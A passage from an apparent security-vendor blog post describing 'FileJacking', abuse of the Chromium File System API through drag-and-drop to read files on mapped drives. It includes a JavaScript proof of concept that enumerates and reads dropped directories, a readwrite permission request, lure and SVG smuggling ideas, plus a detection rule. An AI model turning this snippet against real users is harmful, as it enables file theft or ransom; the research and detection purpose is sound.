potential…</p><h3>Weaponisation</h3><p>By encouraging the end user to drag-and-drop a directory onto a weaponised web page, this functionality can be used to provide read access to the entire directory (or alternatively, the files that the user themselves has access to within it).</p><p>The code snippet below shows a basic implementation that enumerates the files and folders at the top level of a provided directory, reading each file’s contents and printing out its size.</p><pre>document.getElementById(&#39;drop-area&#39;).addEventListener(&quot;drop&quot;, async (e) =&gt; {<br>    e.preventDefault();<br>    try {<br>        var items = [...e.dataTransfer.items];<br>        var handlePromises = items.map((item) =&gt; item.getAsFileSystemHandle());<br><br>        for await (var handle of handlePromises) {<br>            if (handle.kind === &quot;directory&quot;) {<br>                console.log(&quot;[+] Directory dropped:&quot;, handle.name);<br><br>                subEntries = handle.entries();<br>                for await (var subEntry of subEntries) {<br>                    if (subEntry[1].kind === &quot;file&quot;) {<br>                        const fileHandle = subEntry[1];<br>                        const file = await fileHandle.getFile();<br>                        const size = file.size<br>                        console.log(`[+] File: ${subEntry[0]} (${size} bytes)`);<br>                    } else if (subEntry[1].kind === &quot;directory&quot;) {<br>                        console.log(&quot;[+] Dir:&quot;, subEntry[0]);<br>                    }<br>                }<br>            }<br>            return;<br>        }<br>    } catch (error) {<br>        console.error(&#39;Error:&#39;, error);<br>    }<br>});</pre><p>By default, and crucially without any further user prompt, you’re provided with read access to the files in the dropped directory. Should it be needed, you can request read <em>and</em> write permissions with the below function:</p><pre>await handle.requestPermission({ mode: &quot;readwrite&quot; });</pre><p>This in turn displays a warning to the end user (in this case called from a local HTML attachment, hence file:///):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/899/1*HVUW3hqvXE0MjcRybG8rvQ.png" /></figure><p>Arguably, this is a relatively innocuous warning for providing an external party with the ability to delete, or otherwise modify, every file in the directory. Conceivably, this could be turned into a nasty browser-based encryptor that ransoms whatever directory you feed to it!</p><p>Back to our enumeration code snippet… when you consider the high-value files that could be worth targeting with a technique like this, you’d probably look to the classic infostealer playbook with the likes of cookies, saved logins, SSH keys, and so on.</p><p>If we were to drag the user’s home drive into this webpage though, we’d be greeted with this error:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fWOvsgyVRsX7bjFFyfdDMg.png" /></figure><p>Thankfully, it’s not that straightforward!</p><p>In Print3M’s blog, they highlight that there are <a href="https://print3m.github.io/blog/filejacking-initial-access-with-file-system-api#restricted-paths-1">restrictions on the directories that can be accessed</a> using this mechanism. These include the likes of C:\Users\&lt;user&gt;\, C:\, %LOCALAPPDATA%\* and several others.</p><p>Notably, on Print3M’s discovered <em>allowed list</em> is this line:</p><pre>Root directories other than C:\ (e.g. D:\, Z:\)</pre><p>What does this mean in practice? Effectively any user-accessible mapped drive that isn’t C: <em>can</em> be targeted with this technique!</p><p>Three obvious scenarios this pertains to:</p><ul><li>Mapped company file shares.</li><li>Enterprise deployments where user data is mapped to an alternative drive, with OS files remaining in C:.</li><li>Crazy people that have changed their system drive from the default C:.</li></ul><p>The middle scenario in this list could be particularly potent, as it provides infostealer-like access to the user’s home drive.</p><p>If we return to our code and use a different drive letter, things are much more fruitful:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/938/1*JwPr4INzFFbb-izywrXjPQ.png" /></figure><p>Wrapped in a suitably-compelling social engineering lure, we could end up with something like this (we’ve consciously not implemented the exfiltration functionality in this payload, but the file reading demonstrates what’s possible!):</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fplayer.vimeo.com%2Fvideo%2F1108917158%3Fapp_id%3D122963&amp;dntp=1&amp;display_name=Vimeo&amp;url=https%3A%2F%2Fvimeo.com%2F1108917158&amp;image=https%3A%2F%2Fi.vimeocdn.com%2Fvideo%2F2046306015-75de362e4b4329e872da8bddbffa50b35007df84b5224cabe98fdbca88a00a23-d_1280%3Fregion%3Dus&amp;type=text%2Fhtml&amp;schema=vimeo" width="1920" height="1299" frameborder="0" scrolling="no"><a href="https://medium.com/media/7064a5b4b98bb08cf8353e231ea8c761/href">https://medium.com/media/7064a5b4b98bb08cf8353e231ea8c761/href</a></iframe><blockquote>You can find this payload on delivr.to <a href="https://delivr.to/?id=8c1ea0b4-26e2-44bb-be2c-0cc9dd50b8e7">here</a></blockquote><p>Note, the only visual cue here is the file icon in the address bar that displays the following, only when clicked.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/682/1*_4CiRWHYx11rHOhPSTiMUA.png" /></figure><h4>SVG Variation</h4><blockquote>Read more about SVG smuggling in our blog <a href="https://blog.delivr.to/svg-smuggling-a-picture-worth-a-thousand-words-fae8a946a300">here</a></blockquote><p>We’ve seen <a href="https://blog.delivr.to/delivr-tos-top-10-payloads-dec-24-pastejacking-image-less-qr-codes-and-concatenated-zip-a32e668106dd#9a52">many times</a> how SVGs can be weaponised to effectively do anything that an HTML file can do; and this one’s no different.</p><p>With a combination of foreignObject elements and embedded JavaScript we can produce a near-identical drive-grabbing capability in an SVG/SVGZ file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YjHbzVciwJ5qYEeixhP-dA.png" /></figure><blockquote>Test an SVG smuggling variation of FileJacking with delivr.to <a href="https://delivr.to/?id=72c6ad20-f8a4-4c3d-94bc-e2baa9d439ef">here</a></blockquote><h3>Detection</h3><p>When it comes to detection of this kind of weaponisation in an email attachment or link, we could use the below <a href="https://sublime.security/">Sublime Security</a> rules available in our <a href="https://github.com/sublime-security/sublime-rules/tree/main?tab=readme-ov-file#community-rule-feeds">delivr.to rule feed</a>:</p><ul><li><a href="http://sublime.security/feeds/delivr-to/detection-rules/2681d4b0">Attachment: FileJacking Indicators (Unsolicited)</a></li><li><a href="https://sublime.security/feeds/delivr-to/detection-rules/cf08c53f">Link: FileJacking Indicators (Unsolicited)</a></li></ul><p>Seen below, these target the presence of File System API functions in JavaScript content:</p><pre>type.inbound<br><br>and any(attachments,<br>    (<br>        // HTML file formats including svg, shtml, xht, etc.<br>        regex.imatch(.file_extension, &#39;^([sdx]{0,1}ht[ml]{0,2}|svgz?)&#39;) or <br>        .file_type == &quot;html&quot;<br>    ) and<br>    any(file.explode(.),<br>        // JavaScript content present in the HTML file<br>        any(.flavors.yara, . == &#39;javascript_file&#39;) and<br>        <br>        // File System API elements for:<br>        // - installing event listener for file/dir drop (not essential to attack)<br>        // - getting handle to file/dir<br>        // - requesting permissions to read and/or write to file<br>        // - reading file content<br>        length(filter([&#39;addEventListener&#39;, &#39;requestPermission&#39;, &#39;getAsFileSystemHandle&#39;, &#39;getFile&#39;],<br>            . in ..scan.javascript.identifiers<br>        )) &gt;= 3 and<br>        <br>        // Elements for:<br>        // - installing event listener to trigger on file dragged and dropped onto page<br>        // - one of read/write permission combinations<br>        any([&#39;drop&#39;, &#39;read&#39;, &#39;readwrite&#39;],<br>            . in ..scan.javascript.strings<br>        )<br>    )<br>)<br>...</pre><p>When delivered and executed on an endpoint, network share read events could also prove fruitful. The likes of Windows Event Logs with ID 5145, for example, could be used to identify enumeration of each file in a targeted share.</p><h3>Conclusion</h3><p>It goes without saying that the feature-set of modern browsers is increasingly vast. With more functionality invariably comes more abuse potential; the likes of ClickFix a prime example of how this has played out previously with the <a href="https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API">ClipBoard API</a>.</p><p>Combined with a suitably convincing lure, the Chromium File System APIs look to be the latest in a growing list of useful, but likely weaponised, browser functionality.</p><h3>delivr.to</h3><p><a href="https://delivr.to/">delivr.to</a> is a platform for validating email security controls, through the continuous and automated sending of email attachment and link content.</p><p><a href="https://delivr.to/">delivr.to</a> has a broad collection of over 700 payload samples, ranging from recreations of threat actor activity, esoteric and weaponisable file formats, and emerging techniques. These are presented in hand-crafted ‘campaigns’ to provide an evidence-based appraisal of email defences and highlight areas for attack surface reduction.</p><p><a href="https://delivr.to/">delivr.to</a> offers a free 30 day trial, so head over and try it out now!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bb0af6736625" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>